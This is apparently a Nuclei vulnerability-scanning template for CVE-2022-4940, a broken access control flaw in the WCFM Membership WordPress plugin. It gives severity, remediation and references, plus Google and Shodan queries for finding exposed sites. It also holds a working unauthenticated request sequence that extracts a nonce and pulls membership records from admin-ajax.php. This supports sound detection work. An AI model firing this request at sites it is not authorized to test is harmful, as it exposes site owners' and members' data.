id: CVE-2022-4940

info:
  name: WCFM Membership <= 2.10.0 - Broken Access Control
  author: 0xanis
  severity: high
  description: |
    The WCFM Membership plugin for WordPress is vulnerable to unauthorized modification and access of data in versions up to, and including, 2.10.0 due to missing capability checks true the AJAX actions: wcfm-memberships, wcfm-memberships-manage, and wcfm-memberships-settings.
  impact: |
    Unauthenticated attackers can modify membership details, approve or deny memberships, and change renewal info, potentially leading to data tampering and unauthorized access.
  remediation: |
    Update to WCFM Membership version 2.10.1 or later.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wc-multivendor-membership/wcfm-membership-2100-missing-authorization
    - https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=2633191%40wc-multivendor-membership&new=2633191%40wc-multivendor-membership&sfp_email=&sfph_mail=
    - https://wpscan.com/vulnerability/41bdf07c-d707-436b-8cfc-5ef852f0b7f5/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
    cvss-score: 7.3
    cve-id: CVE-2022-4940
    epss-score: 0.01084
    epss-percentile: 0.61939
    cwe-id: CWE-862
  metadata:
    verified: true
    max-request: 2
    vendor: wclovers
    product: wcfm_membership
    framework: wordpress
    google-query: inurl:"/wp-content/plugins/wc-multivendor-membership/"
    shodan-query: http.html:"wc-multivendor-membership"
  tags: cve,cve2022,wordpress,wp-scan,wp-plugin,wcfm,vkev,woocommerce

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=wcfm_ajax_controller&controller=wcfm-memberships&wcfm_ajax_nonce={{nonce}}&length=10&start=0&draw=1

    extractors:
      - type: regex
        name: nonce
        part: body
        internal: true
        group: 1
        regex:
          - '"wcfm_ajax_nonce":"([a-f0-9]+)"'

    matchers:
      - type: dsl
        dsl:
          - 'status_code_2 == 200'
          - 'contains(body_2, "\"recordsTotal\"")'
          - 'contains(body_2, "\"recordsFiltered\"")'
          - 'contains(body_2, "\"draw\"")'
        condition: and
# digest: 4a0a00473045022100a502cdaeaaa1b1a3e34799773a8c1ad4517932f66f98e5a341e8ab33c9fda86502204798ffb820a340d2b7f32336b7424b4af34f3e327345cdc56e0458b6f8fc6c37:922c64590222798bb761d5b6d8e72950